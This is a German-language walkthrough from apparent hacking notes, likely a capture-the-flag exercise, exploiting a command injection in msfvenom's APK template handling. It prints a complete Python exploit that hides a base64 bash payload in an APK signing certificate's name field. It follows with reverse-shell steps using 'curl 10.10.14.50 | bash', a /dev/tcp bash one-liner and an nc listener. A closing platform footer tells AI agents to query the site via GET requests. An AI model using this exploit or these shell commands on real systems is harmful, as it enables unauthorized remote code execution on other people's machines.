> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/msfvenom-apk-exploitation.md).

# APK mit Msfvenom

## msfvenom APK-Vorlagen-Befehlsinjektion

<figure><img src="/files/7474117533595e6179607fe90064eff525302c6d" alt=""><figcaption></figcaption></figure>

Ein verwundbarer Dienst wird auf Port 5000 identifiziert.

<figure><img src="/files/f1d682448d78c86efe3f86afec8c1cd394a81d2b" alt=""><figcaption></figcaption></figure>

Suche nach verwandten Schwachstellen:

```bash
searchsploit -m multiple/local/49491.py
```

Eine potenzielle APK-basierte Injektion wird identifiziert.

<figure><img src="/files/9a88fdff92533c6e8d26617a9bc3d6bd34fbcab4" alt="" width="557"><figcaption></figcaption></figure>

**Exploit-Skript (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Änder mich
payload = 'ping 10.10.14.50'

# b64encode, um Badchars zu vermeiden (keytool ist wählerisch)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Erzeuge bösartige APK-Datei")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# empty_file anlegen
open(empty_file, "w").close()

# apk_file erstellen
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Signaturschlüssel mit bösartigem -dname erzeugen
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# APK mit unserem bösartigen dname signieren
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Fertig! apkfile befindet sich bei {apk_file}")
print(f"Ausführen: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

Das Skript erzeugt eine temporäre Datei, die eine bösartige APK enthält.

<figure><img src="/files/1adc78b8b72ab14347a419d8ddba204365d4399c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9181bd6ef6cea2c63441ef0aaf969e9c85f509f0" alt=""><figcaption></figcaption></figure>

**ICMP-Paketanalyse**

Überwache die Netzwerkaktivität auf einen Callback:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/069a071f42afb8e8421563061724e7f708ce470f" alt=""><figcaption></figcaption></figure>

### **RCE-Ausnutzung mit Msfvenom**

Passe die Payload an, um eine Reverse-Verbindung herzustellen:

```bash
# Änder mich
payload = 'curl 10.10.14.50 | bash'
```

Erstelle ein `index.html` Datei mit:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Starte einen HTTP-Server:

```bash
python3 -m http.server 80
```

Dann warte auf die Verbindung auf Port 443:

```bash
nc -nlvp 443
```

Sobald die APK gesendet und auf dem Zielsystem ausgeführt wird, wird eine Remote-Shell erhalten.

<figure><img src="/files/832e10764da4a17004e378e1a0750faea3a76676" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/msfvenom-apk-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
